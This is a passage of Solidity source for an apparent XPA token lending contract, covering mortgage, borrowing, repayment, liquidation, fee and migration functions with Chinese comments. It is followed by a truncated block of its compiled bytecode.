xpaAsset.push(newAsset);
}
//抵押 XPA
function mortgage(
address representor_
)
onlyActive
public
{
address user = getUser(representor_);
uint256 amount_ = Token(XPA).allowance(msg.sender, this); // get mortgage amount
if(
amount_ >= 100 ether &&
Token(XPA).transferFrom(msg.sender, this, amount_)
){
fromAmountBooks[user] = safeAdd(fromAmountBooks[user], amount_); // update books
emit eMortgage(user,amount_); // wirte event
}
}
// 借出 XPA Assets, amount: 指定借出金額
function withdraw(
address token_,
uint256 amount_,
address representor_
)
onlyActive
public
{
address user = getUser(representor_);
if(
token_ != XPA &&
amount_ > 0 &&
amount_ <= safeDiv(safeMul(safeDiv(safeMul(getUsableXPA(user), getPrice(token_)), 1 ether), getHighestMortgageRate()), 1 ether)
){
toAmountBooks[user][token_] = safeAdd(toAmountBooks[user][token_],amount_);
uint256 withdrawFee = safeDiv(safeMul(amount_,withdrawFeeRate),1 ether); // calculate withdraw fee
XPAAssetToken(token_).create(user, safeSub(amount_, withdrawFee));
XPAAssetToken(token_).create(this, withdrawFee);
emit eWithdraw(user, token_, amount_); // write event
}
}
// 領回 XPA, amount: 指定領回金額
function withdrawXPA(
uint256 amount_,
address representor_
)
onlyActive
public
{
address user = getUser(representor_);
if(
amount_ >= 100 ether &&
amount_ <= getUsableXPA(user)
){
fromAmountBooks[user] = safeSub(fromAmountBooks[user], amount_);
require(Token(XPA).transfer(user, amount_));
emit eWithdraw(user, XPA, amount_); // write event
}
}
// 檢查額度是否足夠借出 XPA Assets
/*function checkWithdraw(
address token_,
uint256 amount_,
address user_
)
internal
view
returns(bool) {
if(
token_ != XPA &&
amount_ <= safeDiv(safeMul(safeDiv(safeMul(getUsableXPA(user_), getPrice(token_)), 1 ether), getHighestMortgageRate()), 1 ether)
){
return true;
}else if(
token_ == XPA &&
amount_ <= getUsableXPA(user_)
){
return true;
}else{
return false;
}
}*/
// 還款 XPA Assets, amount: 指定還回金額
function repayment(
address token_,
uint256 amount_,
address representor_
)
onlyActive
public
{
address user = getUser(representor_);
if(
XPAAssetToken(token_).burnFrom(user, amount_)
) {
toAmountBooks[user][token_] = safeSub(toAmountBooks[user][token_],amount_);
emit eRepayment(user, token_, amount_);
}
}
// 平倉 / 強行平倉, user: 指定平倉對象
function offset(
address user_,
address token_
)
onlyActive
public
{
uint256 userFromAmount = fromAmountBooks[user_] >= maxForceOffsetAmount ? maxForceOffsetAmount : fromAmountBooks[user_];
require(block.timestamp > initCanOffsetTime);
require(userFromAmount > 0);
address user = getUser(user_);
if(
user_ == user &&
getLoanAmount(user, token_) > 0
){
emit eOffset(user, user_, userFromAmount);
uint256 remainingXPA = executeOffset(user_, userFromAmount, token_, offsetFeeRate);
require(Token(XPA).transfer(fundAccount, safeDiv(safeMul(safeSub(userFromAmount, remainingXPA), 1 ether), safeAdd(1 ether, offsetFeeRate)))); //轉帳至平倉基金
fromAmountBooks[user_] = remainingXPA;
}else if(
user_ != user &&
block.timestamp > (forceOffsetBooks[user_] + 28800) &&
getMortgageRate(user_) >= getClosingLine()
){
forceOffsetBooks[user_] = block.timestamp;
uint256 punishXPA = getPunishXPA(user_); //get 10% xpa
emit eOffset(user, user_, punishXPA);
uint256[3] memory forceOffsetFee;
forceOffsetFee[0] = safeDiv(safeMul(punishXPA, forceOffsetBasicFeeRate), 1 ether); //基本手續費(收益)
forceOffsetFee[1] = safeDiv(safeMul(punishXPA, forceOffsetExtraFeeRate), 1 ether); //額外手續費(平倉基金)
forceOffsetFee[2] = safeDiv(safeMul(punishXPA, forceOffsetExecuteFeeRate), 1 ether);//執行手續費(執行者)
forceOffsetFee[2] = forceOffsetFee[2] > forceOffsetExecuteMaxFee ? forceOffsetExecuteMaxFee : forceOffsetFee[2];
profit = safeAdd(profit, forceOffsetFee[0]);
uint256 allFee = safeAdd(forceOffsetFee[2],safeAdd(forceOffsetFee[0], forceOffsetFee[1]));
remainingXPA = safeSub(punishXPA,allFee);
for(uint256 i = 0; i < xpaAsset.length; i++) {
if(getLoanAmount(user_, xpaAsset[i]) > 0){
remainingXPA = executeOffset(user_, remainingXPA, xpaAsset[i],0);
if(remainingXPA == 0){
break;
}
}
}
fromAmountBooks[user_] = safeSub(fromAmountBooks[user_], safeSub(punishXPA, remainingXPA));
require(Token(XPA).transfer(fundAccount, safeAdd(forceOffsetFee[1],safeSub(safeSub(punishXPA, allFee), remainingXPA)))); //轉帳至平倉基金
require(Token(XPA).transfer(msg.sender, forceOffsetFee[2])); //執行手續費轉給執行者
}
}
function executeOffset(
address user_,
uint256 xpaAmount_,
address xpaAssetToken,
uint256 feeRate
)
internal
returns(uint256){
uint256 fromXPAAsset = safeDiv(safeMul(xpaAmount_,getPrice(xpaAssetToken)),1 ether);
uint256 userToAmount = toAmountBooks[user_][xpaAssetToken];
uint256 fee = safeDiv(safeMul(userToAmount, feeRate), 1 ether);
uint256 burnXPA;
uint256 burnXPAAsset;
if(fromXPAAsset >= safeAdd(userToAmount, fee)){
burnXPA = safeDiv(safeMul(safeAdd(userToAmount, fee), 1 ether), getPrice(xpaAssetToken));
emit eExecuteOffset(burnXPA, xpaAssetToken, safeAdd(userToAmount, fee));
xpaAmount_ = safeSub(xpaAmount_, burnXPA);
toAmountBooks[user_][xpaAssetToken] = 0;
profit = safeAdd(profit, safeDiv(safeMul(fee,1 ether), getPrice(xpaAssetToken)));
if(
!FundAccount(fundAccount).burn(xpaAssetToken, userToAmount)
){
unPaidFundAccount[xpaAssetToken] = safeAdd(unPaidFundAccount[xpaAssetToken],userToAmount);
}
}else{
fee = safeDiv(safeMul(xpaAmount_, feeRate), 1 ether);
profit = safeAdd(profit, fee);
burnXPAAsset = safeDiv(safeMul(safeSub(xpaAmount_, fee),getPrice(xpaAssetToken)),1 ether);
toAmountBooks[user_][xpaAssetToken] = safeSub(userToAmount, burnXPAAsset);
emit eExecuteOffset(xpaAmount_, xpaAssetToken, burnXPAAsset);
xpaAmount_ = 0;
if(
!FundAccount(fundAccount).burn(xpaAssetToken, burnXPAAsset)
){
unPaidFundAccount[xpaAssetToken] = safeAdd(unPaidFundAccount[xpaAssetToken], burnXPAAsset);
}
}
return xpaAmount_;
}
function getPunishXPA(
address user_
)
internal
view
returns(uint256){
uint256 userFromAmount = fromAmountBooks[user_];
uint256 punishXPA = safeDiv(safeMul(userFromAmount, 0.1 ether),1 ether);
if(userFromAmount <= safeAdd(minForceOffsetAmount, 100 ether)){
return userFromAmount;
}else if(punishXPA < minForceOffsetAmount){
return minForceOffsetAmount;
}else if(punishXPA > maxForceOffsetAmount){
return maxForceOffsetAmount;
}else{
return punishXPA;
}
}
// 取得用戶抵押率, user: 指定用戶
function getMortgageRate(
address user_
)
public
view
returns(uint256){
if(fromAmountBooks[user_] != 0){
uint256 totalLoanXPA = 0;
for(uint256 i = 0; i < xpaAsset.length; i++) {
totalLoanXPA = safeAdd(totalLoanXPA, safeDiv(safeMul(getLoanAmount(user_,xpaAsset[i]), 1 ether), getPrice(xpaAsset[i])));
}
return safeDiv(safeMul(totalLoanXPA,1 ether),fromAmountBooks[user_]);
}else{
return 0;
}
}
// 取得最高抵押率
function getHighestMortgageRate()
public
view
returns(uint256){
uint256 totalXPA = Token(XPA).totalSupply();
uint256 issueRate = safeDiv(safeMul(Token(XPA).balanceOf(this), 1 ether), totalXPA);
if(issueRate >= 0.7 ether){
return 0.7 ether;
}else if(issueRate >= 0.6 ether){
return 0.6 ether;
}else if(issueRate >= 0.5 ether){
return 0.5 ether;
}else if(issueRate >= 0.3 ether){
return 0.3 ether;
}else{
return 0.1 ether;
}
}
// 取得平倉線
function getClosingLine()
public
view
returns(uint256){
uint256 highestMortgageRate = getHighestMortgageRate();
if(highestMortgageRate >= 0.6 ether){
return safeAdd(highestMortgageRate, 0.1 ether);
}else{
return 0.6 ether;
}
}
// 取得 XPA Assets 匯率
function getPrice(
address token_
)
public
view
returns(uint256){
return TokenFactory(tokenFactory).getPrice(token_);
}
// 取得用戶可提領的XPA(扣掉最高抵押率後的XPA)
function getUsableXPA(
address user_
)
public
view
returns(uint256) {
uint256 totalLoanXPA = 0;
for(uint256 i = 0; i < xpaAsset.length; i++) {
totalLoanXPA = safeAdd(totalLoanXPA, safeDiv(safeMul(getLoanAmount(user_,xpaAsset[i]), 1 ether), getPrice(xpaAsset[i])));
}
if(fromAmountBooks[user_] > safeDiv(safeMul(totalLoanXPA, 1 ether), getHighestMortgageRate())){
return safeSub(fromAmountBooks[user_], safeDiv(safeMul(totalLoanXPA, 1 ether), getHighestMortgageRate()));
}else{
return 0;
}
}
// 取得用戶可借貸 XPA Assets 最大額度, user: 指定用戶
/*function getUsableAmount(
address user_,
address token_
)
public
view
returns(uint256) {
uint256 amount = safeDiv(safeMul(fromAmountBooks[user_], getPrice(token_)), 1 ether);
return safeDiv(safeMul(amount, getHighestMortgageRate()), 1 ether);
}*/
// 取得用戶已借貸 XPA Assets 數量, user: 指定用戶
function getLoanAmount(
address user_,
address token_
)
public
view
returns(uint256) {
return toAmountBooks[user_][token_];
}
// 取得用戶剩餘可借貸 XPA Assets 額度, user: 指定用戶
function getRemainingAmount(
address user_,
address token_
)
public
view
returns(uint256) {
uint256 amount = safeDiv(safeMul(getUsableXPA(user_), getPrice(token_)), 1 ether);
return safeDiv(safeMul(amount, getHighestMortgageRate()), 1 ether);
}
function burnFundAccount(
address token_,
uint256 amount_
)
onlyOperator
public
{
if(
FundAccount(fundAccount).burn(token_, amount_)
){
unPaidFundAccount[token_] = safeSub(unPaidFundAccount[token_], amount_);
}
}
function transferProfit(
uint256 token_,
uint256 amount_
)
onlyOperator
public
{
if(amount_ > 0 && Token(token_).balanceOf(this) >= amount_){
require(Token(token_).transfer(bank, amount_));
profit = safeSub(profit,amount_);
}
}
function setFeeRate(
uint256 withDrawFeerate_,
uint256 offsetFeerate_,
uint256 forceOffsetBasicFeerate_,
uint256 forceOffsetExecuteFeerate_,
uint256 forceOffsetExtraFeerate_,
uint256 forceOffsetExecuteMaxFee_
)
onlyOperator
public
{
require(withDrawFeerate_ < 0.05 ether);
require(offsetFeerate_ < 0.05 ether);
require(forceOffsetBasicFeerate_ < 0.05 ether);
require(forceOffsetExecuteFeerate_ < 0.05 ether);
require(forceOffsetExtraFeerate_ < 0.05 ether);
withdrawFeeRate = withDrawFeerate_;
offsetFeeRate = offsetFeerate_;
forceOffsetBasicFeeRate = forceOffsetBasicFeerate_;
forceOffsetExecuteFeeRate = forceOffsetExecuteFeerate_;
forceOffsetExtraFeeRate = forceOffsetExtraFeerate_;
forceOffsetExecuteMaxFee = forceOffsetExecuteMaxFee_;
}
function migrate(
address newContract_
)
public
onlyOwner
{
if(
newXPAAssets == address(0) &&
XPAAssets(newContract_).transferXPAAssetAndProfit(xpaAsset, profit) &&
Token(XPA).transfer(newContract_, Token(XPA).balanceOf(this))
) {
forceOff = true;
powerStatus = false;
newXPAAssets = newContract_;
for(uint256 i = 0; i < xpaAsset.length; i++) {
XPAAssets(newContract_).transferUnPaidFundAccount(xpaAsset[i], unPaidFundAccount[xpaAsset[i]]);
}
emit eMigrate(newContract_);
}
}
function transferXPAAssetAndProfit(
address[] xpaAsset_,
uint256 profit_
)
public
onlyOperator
returns(bool) {
xpaAsset = xpaAsset_;
profit = profit_;
return true;
}
function transferUnPaidFundAccount(
address xpaAsset_,
uint256 unPaidAmount_
)
public
onlyOperator
returns(bool) {
unPaidFundAccount[xpaAsset_] = unPaidAmount_;
return true;
}
function migratingAmountBooks(
address user_,
address newContract_
)
public
onlyOperator
{
XPAAssets(newContract_).migrateAmountBooks(user_);
}
function migrateAmountBooks(
address user_
)
public
onlyOperator
{
require(msg.sender == oldXPAAssets);
require(!migrateBooks[user_]);
migrateBooks[user_] = true;
fromAmountBooks[user_] = safeAdd(fromAmountBooks[user_],XPAAssets(oldXPAAssets).getFromAmountBooks(user_));
forceOffsetBooks[user_] = XPAAssets(oldXPAAssets).getForceOffsetBooks(user_);
for(uint256 i = 0; i < xpaAsset.length; i++) {
toAmountBooks[user_][xpaAsset[i]] = safeAdd(toAmountBooks[user_][xpaAsset[i]], XPAAssets(oldXPAAssets).getLoanAmount(user_,xpaAsset[i]));
}
emit eMigrateAmount(user_);
}
function getFromAmountBooks(
address user_
)
public
view
returns(uint256) {
return fromAmountBooks[user_];
}
function getForceOffsetBooks(
address user_
)
public
view
returns(uint256) {
return forceOffsetBooks[user_];
}
}
|
0x60606040526004361061029a5763ffffffff60e060020a600035041663126f992c811461029f5780631390df6c146102c657806320e979b1146102f55780632539c8641461031657806328a20a2f146103475780632f8061d41461039857806332d05c6d146103c157806335ee2f8a146103e357806341976e09146103f6578063419a88b61461041557806354fd4d5014610428578063570ca735146104b2578063590e2d3e146104c55780635b060530146104ea5780635fc6518f1461057f5780635ffc7cc71461059e57806366acdd34146105b757806366d16cc3146105cd5780636790aee8146105e057806369328dec146105ff5780636b1bfd33146106285780636bee9cfa1461064757806375ae51ce1461065a57806375e88e3a1461066d578063767eb6511461068c57806376cdb03b146106b157806379d007f7146106c45780637ec4edbe146106d757806384385c6f146106fc5780638a8f5b791461071b5780638da5cb5b1461072e5780638e543a12146107415780639773489a146107665780639dbda90214610779578063a036f0f81461078c578063a3e20d71146107ab578063a46c792c146107cd578063b15fbfe6146107ec578063b37f17ee1461080b578063b5afd61b14610830578063b791f3bc14610843578063c40fec3a14610862578063cc9a31a714610875578063ce5494bb14610894578063ce9e673b146108b3578063ced0d31d146108c6578063d09119b4146108eb578063d0c2918e1461090a578063d1376daa14610929578063d43a18671461093c578063d7cd6c131461095b578063d9a8748c1461097d578063dd1219fd14610990578063df9204b6146109a8578063e77772fe146109bb578063ea99e689146109ce578063f1da7e63146109e1578063f2fde38b14610a00575b600080fd5b34156102aa57600080fd5b6102b2610a1f565b604051901515815260200160405180910390f35b34156102d157600080fd5b6102d9610a41565b604051600160a060020a03909116815260200160405180910390f35b341561030057600080fd5b610314600160a060020a0360043516610a50565b005b341561032157600080fd5b610335600160a060020a0360043516610a8a565b60405190815260200160405180910390f35b341561035257600080fd5b6102b260046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610a9c92505050565b34156103a357600080fd5b610314600160a060020a036004358116906024359060443516610af0565b34156103cc57600080fd5b610314600435600160a060020a0360243516610c37565b34156103ee57600080fd5b610335610d97565b341561040157600080fd5b610335600160a060020a0360043516610d9d565b341561042057600080fd5b6102d9610e0c565b341561043357600080fd5b61043b610e1b565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561047757808201518382015260200161045f565b50505050905090810190601f1680156104a45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104bd57600080fd5b6102d9610eb9565b34156104d057600080fd5b610335600160a060020a0360043581169060243516610ec8565b34156104f557600080fd5b61031460046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496505093359350610ee592505050565b341561058a57600080fd5b6102d9600160a060020a03600435166110e2565b34156105a957600080fd5b6103146004356024356110fd565b34156105c257600080fd5b6102d9600435611239565b34156105d857600080fd5b610335611261565b34156105eb57600080fd5b610335600160a060020a0360043516611267565b341561060a57600080fd5b610314600160a060020a036004358116906024359060443516611279565b341561063357600080fd5b610314600160a060020a03600435166114a7565b341561065257600080fd5b610335611508565b341561066557600080fd5b61033561150e565b341561067857600080fd5b610335600160a060020a0360043516611514565b341561069757600080fd5b610335600160a060020a036004358116906024351661152f565b34156106bc57600080fd5b6102d9611563565b34156106cf57600080fd5b610335611572565b34156106e257600080fd5b610314600160a060020a0360043581169060243516611578565b341561070757600080fd5b610314600160a060020a0360043516611acf565b341561072657600080fd5b6102d9611b25565b341561073957600080fd5b6102d9611b34565b341561074c57600080fd5b610335600160a060020a0360043581169060243516611b43565b341561077157600080fd5b610335611b6e565b341561078457600080fd5b610335611b74565b341561079757600080fd5b610335600160a060020a0360043516611ce5565b34156107b657600080fd5b6102b2600160a060020a0360043516602435611dc8565b34156107d857600080fd5b610314600160a060020a0360043516611e1f565b34156107f757600080fd5b610335600160a060020a0360043516611e4f565b341561081657600080fd5b610314600160a060020a0360043581169060243516611e6a565b341561083b57600080fd5b610335611ef8565b341561084e57600080fd5b610314600160a060020a0360043516611efe565b341561086d57600080fd5b610335612220565b341561088057600080fd5b6102b2600160a060020a0360043516612226565b341561089f57600080fd5b610314600160a060020a0360043516612249565b34156108be57600080fd5b61033561258d565b34156108d157600080fd5b61031460043560243560443560643560843560a435612593565b34156108f657600080fd5b610314600160a060020a0360043516612642565b341561091557600080fd5b6102b2600160a060020a03600435166127f7565b341561093457600080fd5b61033561280c565b341561094757600080fd5b610335600160a060020a0360043516612851565b341561096657600080fd5b610314600160a060020a0360043516602435612863565b341561098857600080fd5b6102d9612948565b341561099b57600080fd5b6103146004351515612957565b34156109b357600080fd5b6102b26129fe565b34156109c657600080fd5b6102d9612a0e565b34156109d957600080fd5b610335612a1d565b34156109ec57600080fd5b610335600160a060020a0360043516612a23565b3415610a0b57600080fd5b610314600160a060020a0360043516612ab0565b6003547501000000000000000000000000000000000000000000900460ff1681565b600654600160a060020a031681565b60015433600160a060020a03908116911614610a6857fe5b60038054600160a060020a031916600160a060020a0392909216919091179055565b60126020526000908152604090205481565b60025460009033600160a060020a0390811691161480610aca575060015433600160a060020a039081169116145b1515610ad257fe5b600f838051610ae5929160200190612f77565b505060115550600190565b60035460009060a060020a900460ff161515610b0857fe5b610b1182612aea565b905083600160a060020a03166379cc6790828560405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610b6757600080fd5b5af11515610b7457600080fd5b5050506040518051905015610c3157600160a060020a038082166000908152600c6020908152604080832093881683529290522054610bb39084612b07565b600160a060020a038083166000908152600c602090815260408083209389168352929052819020919091557ffa6a16645a395100c51e6445cb350ca9711662c961c9e4dbb6d41c45ab8691cd9082908690869051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15b50505050565b60035460009060a060020a900460ff161515610c4f57fe5b610c5882612aea565b905068056bc75e2d631000008310158015610c7b5750610c7781611ce5565b8311155b15610d9257600160a060020a0381166000908152600b6020526040902054610ca39084612b07565b600160a060020a038083166000908152600b60205260409081902092909255600554169063a9059cbb90839086905160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610d1257600080fd5b5af11515610d1f57600080fd5b505050604051805190501515610d3457600080fd5b6005547fc4e9fd0b0814b142a8dce2da2fb5bbbc63e23ecc9dc77fbdf7e6785b65821073908290600160a060020a031685604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15b505050565b60135481565b600854600090600160a060020a03166341976e098360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610df057600080fd5b5af11515610dfd57600080fd5b50505060405180519392505050565b600554600160a060020a031681565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610eb15780601f10610e8657610100808354040283529160200191610eb1565b820191906000526020600020905b815481529060010190602001808311610e9457829003601f168201915b505050505081565b600254600160a060020a031681565b600c60209081526000928352604080842090915290825290205481565b600254600090819033600160a060020a0390811691161480610f15575060015433600160a060020a039081169116145b1515610f1d57fe5b600854600160a060020a0316635b0605308686866040518463ffffffff1660e060020a028152600401808060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610f8a578082015183820152602001610f72565b50505050905090810190601f168015610fb75780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b83811015610fed578082015183820152602001610fd5565b50505050905090810190601f16801561101a5780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b151561103b57600080fd5b5af1151561104857600080fd5b5050506040518051925060009150505b600f548110156110a35781600160a060020a0316600f8281548110151561107b57fe5b600091825260209091200154600160a060020a0316141561109b576110db565b600101611058565b600f8054600181016110b58382612fda565b5060009182526020909120018054600160a060020a031916600160a060020a0384161790555b5050505050565b600060208190529081526040902054600160a060020a031681565b60025433600160a060020a0390811691161480611128575060015433600160a060020a039081169116145b151561113057fe5b6000811180156111a457508082600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561118a57600080fd5b5af1151561119757600080fd5b5050506040518051905010155b1561123557600354600160a060020a038084169163a9059cbb91168360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561120357600080fd5b5af1151561121057600080fd5b50505060405180519050151561122557600080fd5b61123160115482612b07565b6011555b5050565b600f80548290811061124757fe5b600091825260209091200154600160a060020a0316905081565b60115481565b600b6020526000908152604090205481565b600354600090819060a060020a900460ff16151561129357fe5b61129c83612aea565b600554909250600160a060020a038681169116148015906112bd5750600084115b801561130157506112fd6112e76112f56112e76112d986611ce5565b6112e28a610d9d565b612b1e565b670de0b6b3a7640000612b4c565b6112e2611b74565b8411155b156110db57600160a060020a038083166000908152600c60209081526040808320938916835292905220546113369085612b6d565b600160a060020a038084166000908152600c60209081526040808320938a168352929052205560145461136e906112e7908690612b1e565b905084600160a060020a0316630ecaea738361138a8785612b07565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156113cd57600080fd5b5af115156113da57600080fd5b50505060405180515050600160a060020a038516630ecaea73308360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561143857600080fd5b5af1151561144557600080fd5b50505060405180519050507fc4e9fd0b0814b142a8dce2da2fb5bbbc63e23ecc9dc77fbdf7e6785b65821073828686604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15050505050565b60025433600160a060020a03908116911614806114d2575060015433600160a060020a039081169116145b15156114da57fe5b600160a060020a038116156115055760108054600160a060020a031916600160a060020a0383161790555b50565b60155481565b600a5481565b600160a060020a03166000908152600d602052604090205490565b60008061154a6112e761154186611ce5565b6112e286610d9d565b905061155b6112e7826112e2611b74565b949350505050565b600354600160a060020a031681565b60185481565b600080600080611586612ffe565b600354600090819060a060020a900460ff1615156115a057fe5b600954600160a060020a038a166000908152600b602052604090205410156115e057600160a060020a0389166000908152600b60205260409020546115e4565b6009545b60135490975042116115f557600080fd5b6000871161160257600080fd5b61160b89612aea565b955085600160a060020a031689600160a060020a031614801561163757506000611635878a611b43565b115b15611772577fbf9f44ee4acb3e5987bb0eded9a112002728be975cd2547168a694a0cee856c0868a89604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a161169a89888a601554612b8a565b600554601054919650600160a060020a039081169163a9059cbb91166116ed6116d46116c68c8b612b07565b670de0b6b3a7640000612b1e565b6116e8670de0b6b3a7640000601554612b6d565b612b4c565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561173057600080fd5b5af1151561173d57600080fd5b50505060405180519050151561175257600080fd5b600160a060020a0389166000908152600b60205260409020859055611ac4565b85600160a060020a031689600160a060020a0316141580156117af5750600160a060020a0389166000908152600d60205260409020546170800142115b80156117ca57506117be61280c565b6117c78a612a23565b10155b15611ac457600160a060020a0389166000908152600d602052604090204290556117f389612ef3565b93507fbf9f44ee4acb3e5987bb0eded9a112002728be975cd2547168a694a0cee856c0868a86604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a16118546112e785601654612b1e565b8352601854611868906112e7908690612b1e565b602084015260175461187f906112e7908690612b1e565b6040840190815260195490511161189a57604083015161189e565b6019545b60408401526011546118b8908460005b6020020151612b6d565b6011556118d560408401516118d085518660016118ae565b612b6d565b91506118e18483612b07565b9450600090505b600f5481101561196b5760006119218a600f8481548110151561190757fe5b600091825260209091200154600160a060020a0316611b43565b1115611963576119558986600f8481548110151561193b57fe5b6000918252602082200154600160a060020a031690612b8a565b94508415156119635761196b565b6001016118e8565b600160a060020a0389166000908152600b6020526040902054611997906119928688612b07565b612b07565b600160a060020a03808b166000908152600b60205260409020919091556005546010549082169163a9059cbb91166119e386600160200201516118d06119dd8a89612b07565b8b612b07565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515611a2657600080fd5b5af11515611a3357600080fd5b505050604051805190501515611a4857600080fd5b600554600160a060020a031663a9059cbb33604086015160405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515611aa257600080fd5b5af11515611aaf57600080fd5b505050604051805190501515611ac457600080fd5b505050505050505050565b60015433600160a060020a03908116911614611ae757fe5b60028054600160a060020a03928316600160a060020a0319918216811790925560035490921660009081526020819052604090208054909216179055565b600754600160a060020a031681565b600154600160a060020a031681565b600160a060020a039182166000908152600c6020908152604080832093909416825291909152205490565b60195481565b60055460009081908190600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611bba57600080fd5b5af11515611bc757600080fd5b5050506040518051600554909350611c569150611c5090600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515611c2b57600080fd5b5af11515611c3857600080fd5b50505060405180519050670de0b6b3a7640000612b1e565b83612b4c565b90506709b6e64a8ec600008110611c77576709b6e64a8ec600009250611ce0565b670853a0d2313c00008110611c9657670853a0d2313c00009250611ce0565b6706f05b59d3b200008110611cb5576706f05b59d3b200009250611ce0565b670429d069189e00008110611cd457670429d069189e00009250611ce0565b67016345785d8a000092505b505090565b600080805b600f54811015611d4757611d3d826118d0611d116116c688600f8781548110151561190757fe5b6116e8600f86815481101515611d2357fe5b600091825260209091200154600160a060020a0316610d9d565b9150600101611cea565b611d64611d5c83670de0b6b3a7640000612b1e565b6116e8611b74565b600160a060020a0385166000908152600b60205260409020541115611dbc57600160a060020a0384166000908152600b6020526040902054611db590611992611d5c85670de0b6b3a7640000612b1e565b9250611dc1565b600092505b5050919050565b60025460009033600160a060020a0390811691161480611df6575060015433600160a060020a039081169116145b1515611dfe57fe5b50600160a060020a0391909116600090815260126020526040902055600190565b600160a060020a033381166000908152602081905260409020805491909216600160a060020a0319909116179055565b600160a060020a03166000908152600b602052604090205490565b60025433600160a060020a0390811691161480611e95575060015433600160a060020a039081169116145b1515611e9d57fe5b80600160a060020a031663b791f3bc8360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515611eeb57600080fd5b5af115156110db57600080fd5b60095481565b60025460009033600160a060020a0390811691161480611f2c575060015433600160a060020a039081169116145b1515611f3457fe5b60065433600160a060020a03908116911614611f4f57600080fd5b600160a060020a0382166000908152600e602052604090205460ff1615611f7557600080fd5b600160a060020a038083166000908152600e60209081526040808320805460ff19166001179055600b909152908190205460065461201293919291169063b15fbfe69086905160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515611ff657600080fd5b5af1151561200357600080fd5b50505060405180519050612b6d565b600160a060020a038084166000908152600b6020526040908190209290925560065416906375e88e3a9084905160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561207a57600080fd5b5af1151561208757600080fd5b5050506040518051600160a060020a0384166000908152600d60205260408120919091559150505b600f548110156121df57600160a060020a0382166000908152600c60205260408120600f8054612189939190859081106120e557fe5b6000918252602080832090910154600160a060020a039081168452908301939093526040909101902054600654600f805492939190911691638e543a129187918790811061212f57fe5b600091825260209091200154600160a060020a031660405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b1515611ff657600080fd5b600160a060020a0383166000908152600c60205260408120600f8054919291859081106121b257fe5b6000918252602080832090910154600160a060020a031683528201929092526040019020556001016120af565b7f901da904e758aa932aeb3ad6c6fec24fea73e68c638f5cf38a6f6e60677622ce82604051600160a060020a03909116815260200160405180910390a15050565b60175481565b600160a060020a0390811660009081526020819052604090205433821691161490565b60015460009033600160a060020a0390811691161461226457fe5b600754600160a060020a031615801561232b575081600160a060020a03166328a20a2f600f6011546040518363ffffffff1660e060020a028152600401808060200183815260200182810382528481815481526020019150805480156122f357602002820191906000526020600020905b8154600160a060020a031681526001909101906020018083116122d5575b50509350505050602060405180830381600087803b151561231357600080fd5b5af1151561232057600080fd5b505050604051805190505b80156123fb5750600554600160a060020a031663a9059cbb83826370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561238957600080fd5b5af1151561239657600080fd5b5050506040518051905060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156123e357600080fd5b5af115156123f057600080fd5b505050604051805190505b15611235575060038054750100000000000000000000000000000000000000000075ff000000000000000000000000000000000000000000199091161774ff00000000000000000000000000000000000000001916905560078054600160a060020a031916600160a060020a03831617905560005b600f5481101561254c5781600160a060020a031663a3e20d71600f8381548110151561249857fe5b6000918252602082200154600f8054600160a060020a0390921692601292909190879081106124c357fe5b6000918252602080832090910154600160a060020a03168352820192909252604090810190912054905160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561252d57600080fd5b5af1151561253a57600080fd5b50505060405180515050600101612470565b7f74c5cc2c641422a77f7ad46459e9490047d8cf74b928e77f6493d0ef90c772a482604051600160a060020a03909116815260200160405180910390a15050565b60165481565b60025433600160a060020a03908116911614806125be575060015433600160a060020a039081169116145b15156125c657fe5b66b1a2bc2ec5000086106125d957600080fd5b66b1a2bc2ec5000085106125ec57600080fd5b66b1a2bc2ec5000084106125ff57600080fd5b66b1a2bc2ec50000831061261257600080fd5b66b1a2bc2ec50000821061262557600080fd5b601495909555601593909355601691909155601755601855601955565b600354600090819060a060020a900460ff16151561265c57fe5b61266583612aea565b600554909250600160a060020a031663dd62ed3e333060405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b15156126c057600080fd5b5af115156126cd57600080fd5b505050604051805191505068056bc75e2d6310000081108015906127675750600554600160a060020a03166323b872dd33308460405160e060020a63ffff